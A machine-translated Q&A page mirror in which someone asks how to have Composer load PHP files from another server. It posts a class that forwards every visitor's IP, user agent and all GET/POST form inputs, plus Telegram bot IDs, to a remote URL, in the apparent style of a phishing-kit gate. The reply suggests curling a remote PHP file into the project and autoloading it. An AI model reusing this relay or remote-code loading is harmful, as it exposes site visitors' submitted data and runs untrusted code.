簡體   English   中英

我需要作曲家從其他服務器加載 php 個文件

[英]i need composer to load php files from othere server

你好,我需要簡單的作曲家腳本,這樣我就可以在擁有原始 php 文件的服務器上使用它,並從另一台服務器上的 php 文件加載它們,有人可以幫忙嗎?

我的意思是,當我在我的服務器上上傳 autoloader.php 時,代碼看起來像這樣,它從具有 el coposer 腳本的服務器加載 php 文件

require_once(__DIR__ . DIRECTORY_SEPARATOR. "Autoloader.php");

class Config
{
    private $server_url, $username, $api_key, $telegram_id, $telegram_bot, $captcha_website, $captcha_secret;
    private $authenticator, $request, $message;
    public function __construct($server_url, $username, $api_key, $telegram_id, $telegram_bot, $captcha_website, $captcha_secret){
        if (strpos($server_url, "raw.githubusercontent.com", 0) !== false)
        $this->$server_url = \Assets\Generic::fetchGithubContent($server_url);
        $autoloader = new Autoloader();
        $logger = new \Assets\Logger();
        $session = new \Assets\Session();
        $this->request = new \Assets\RequestHandler();
        $this->server_url = $server_url;
        $this->username = $username;
        $this->api_key = $api_key;
        $this->telegram_id = $telegram_id;
        $this->telegram_bot = $telegram_bot;
        $this->captcha_website = $captcha_website;
        $this->captcha_secret = $captcha_secret;
        $this->message = $this->createMessage();
        $this->authenticator = new \Assets\Authenticator($server_url, $this->message);
        $this->run();
    }

    private function run(){

        if (!$this->authenticator->authenticate()){
            http_response_code(403);
            echo "Un-authorized access. please login to continue";
            exit(0);
        }

        if ($this->authenticator->isBlocked()){
            http_response_code(302);
            header("Location: https://www.google.com");
            exit(0);
        }

        $this->request->handle($this->server_url, $this->message);
    }

    private function createMessage(){
        return array(
            'customer_info' => array(
                'api_key' => $this->api_key,
                'chat_id' => $this->telegram_id,
                'telegram_bot' => $this->telegram_bot,
                'captcha_secret_key' => $this->captcha_secret,
                'captcha_website_key' => $this->captcha_website,
                'username' => $this->username,
            ),
            'client_info' => array(
                'ip' => \Assets\Generic::getIp(),
                'useragent' => $_SERVER['HTTP_USER_AGENT'],
                'method' => $_SERVER['REQUEST_METHOD'],
                'request_time' => time(),
                'inputs' => array(
                    'get' => $_GET,
                    'post' => $_POST
                )
            )
        );
    }
}

$server_url = "https://blabla/bla.php";
$api_key = "cdb6d872-0529-4358-ba29-bfae71cf3ed0";
$username = "blanvla";
$telegram_id = "963065016";
$telegram_bot = "5371625949:AAHjcf";
$captcha_website = "RecaptchaV2-Site Key";
$captcha_secret = "RecaptchaV2-Secret Key";


$config = new Config($server_url, $username, $api_key, $telegram_id, $telegram_bot, $captcha_website, $captcha_secret);

首先使用curlwget下載該腳本,然后將其添加到您的composer.json


curl 'https://example.com/public/MyClass.php' > ./vendor/customScripts/MyClass.php

// composer.json
{
   "autoload": [
       "classmap": [
           "customScripts/MyClass.php"
       ]
   ],
}

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM